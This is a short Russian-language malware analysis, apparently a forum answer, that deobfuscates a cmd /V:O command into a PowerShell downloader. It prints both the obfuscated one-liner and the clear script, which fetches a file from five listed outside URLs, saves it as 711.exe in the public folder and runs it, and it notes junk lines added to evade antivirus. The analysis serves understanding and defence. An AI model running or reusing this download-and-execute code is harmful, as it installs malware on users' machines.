Все строки, начинающиеся с Second - это шум, который вызывает ошибку во время выполнения и ничего не делает. Они существуют только для того, чтобы запутать антивирус.
Если вы удалите их все, у вас останется куча строковых назначений. Все они в итоге приводят к следующей строке:
cmd /V^:O/C"^s^e^t ^WvU^y=^ ^ ^ ^ ^ ^ ^ ^ ^ }}^{^hc^tac};^k^a^er^b;Yur^$ ^m^e^tI^-ekovnI^;)Y^ur^$ ^,^pNB^$(^eliFd^a^olnwoD.j^p^X$^{^yr^t{)c^oi$^ n^i^ ^pNB^$(hc^a^er^o^f^;'^e^x^e^.^'+^faw^$+'\'^+ci^l^b^u^p:vne^$^=Y^ur^$;'^1^1^7^' =^ f^aw$;)^'@^'(tilp^S.^'^D^GoP/m^oc.^t^o^p^snor^i//:p^tt^h^@jfW^FVF^8r/m^oc.e^uv^ero^o^ba^keep//^:^p^tth^@uj^l^h^o/m^oc^.^gn^itnia^pm^ot^sucra^t^sen^o^l//^:p^t^th^@u^A/^ur.^mb^s-t^evs^s^ar//^:p^tth@^F^p2G^zx^W/^moc^.krocegel^locsni^tr^a^mt^s//:p^t^th'^=c^oi^$;^tn^e^i^lCbe^W^.t^eN^ tcejb^o-^w^en=^jpX^$ ll^eh^sr^e^w^o^p&&^f^or /L %^5 ^in (^37^3,-^1,^0)^do s^e^t 3^1=!3^1!!^WvU^y:~%^5,1!&&i^f %^5=^=^0 ca^l^l %3^1:*^3^1^!^=%"
Это команда оболочки, которая запускает cmd с переключателями /V:O и /C:"<obfuscated command>".
Все каретки могут быть удалены из него, потому что все, что они делают, - инструктируют cmd буквально обрабатывать следующий символ.
Команда obfuscated сохраняет перевернутый скрипт Powershell в переменной, возвращает его обратно во время выполнения и запускает.
Выполнение сценария Powershell:
$Xpj=new-object Net.WebClient;
$ioc='http://stmartinscollegecork.com/WxzG2pF@http://rassvet-sbm.ru/Au@http://lonestarcustompainting.com/ohlju@http://peekaboorevue.com/r8FVFWfj@http://ironspot.com/PoGD'.Split('@');
$waf='711';
$ruY=$env:public + '\' + $waf + '.exe';
foreach($BNp in $ioc) {
try {
$Xpj.DownloadFile($BNp, $ruY);
Invoke-Item $ruY;
break;
}catch{}
}
Он пытается загрузить файл с каждого из указанных URL-адресов, сохранить его в общей папке как 711.exe и запустить его. Останавливается при первом успешном запуске.